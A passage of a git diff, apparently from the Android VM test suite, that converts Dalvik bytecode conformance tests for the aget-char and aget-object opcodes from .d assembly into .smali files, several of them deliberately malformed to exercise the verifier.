+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_3.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CJ)C
+.registers 9
+
+       aget-char v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.d
deleted file mode 100644
index 53904af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_4.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)C
-.limit regs 9
-
-       aget-char v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.smali
new file mode 100644
index 0000000..2fd0f6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_4.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.d
deleted file mode 100644
index ed9a20d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_5.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)C
-.limit regs 9
-
-       aget-char v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.smali
new file mode 100644
index 0000000..1aac2e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_5.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.d
deleted file mode 100644
index 04cee20..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_6.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)C
-.limit regs 9
-
-       aget-char v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.smali
new file mode 100644
index 0000000..19e7604
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_6.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.d
deleted file mode 100644
index 508f6fb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_7.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CI)C
-.limit regs 9
-
-       aget-char v0, v7, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.smali
new file mode 100644
index 0000000..4e17d83
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_7.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CI)C
+.registers 9
+
+       aget-char v0, v7, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.d
deleted file mode 100644
index daaa044..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_8.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CF)C
-.limit regs 9
-
-       aget-char v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.smali
new file mode 100644
index 0000000..70c3e55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_8.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CF)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.d
deleted file mode 100644
index 4053996..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_9.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CI)C
-.limit regs 9
-
-       aget-char v0, v7, v9
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.smali
new file mode 100644
index 0000000..1f80eac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_9.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CI)C
+.registers 9
+
+       aget-char v0, v7, v9
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.d
deleted file mode 100644
index 8f4a03b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_1.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;I)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v8
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.smali
new file mode 100644
index 0000000..ac8a16a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_1.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.d
deleted file mode 100644
index cbdd6b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_2.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;I)Ljava/lang/String;
-.limit regs 9
-
-       const-wide v1, 1.0
-       aget-object v0, v7, v1
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.smali
new file mode 100644
index 0000000..169488b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_2.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       const-wide v1, 1.0
+       aget-object v0, v7, v1
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.d
deleted file mode 100644
index c89b572..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_3.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;I)Ljava/lang/String;
-.limit regs 9
-
-       const-wide v1, 1
-       aget-object v0, v7, v1
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.smali
new file mode 100644
index 0000000..2e046e3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_3.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       const-wide v1, 1
+       aget-object v0, v7, v1
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.d
deleted file mode 100644
index b881a16..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_4.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v8
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.smali
new file mode 100644
index 0000000..a170ce5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_4.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.d
deleted file mode 100644
index 7db8d5b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_5.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([FI)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v8
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.smali
new file mode 100644
index 0000000..bad8f36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_5.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([FI)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.d
deleted file mode 100644
index a349943..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_object_6.java
-.class public dot.junit.opcodes.aget_object.d.T_aget_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)Ljava/lang/String;
-.limit regs 9
-
-       aget-object v0, v7, v8
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.smali
new file mode 100644
index 0000000..990063f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_6.java"
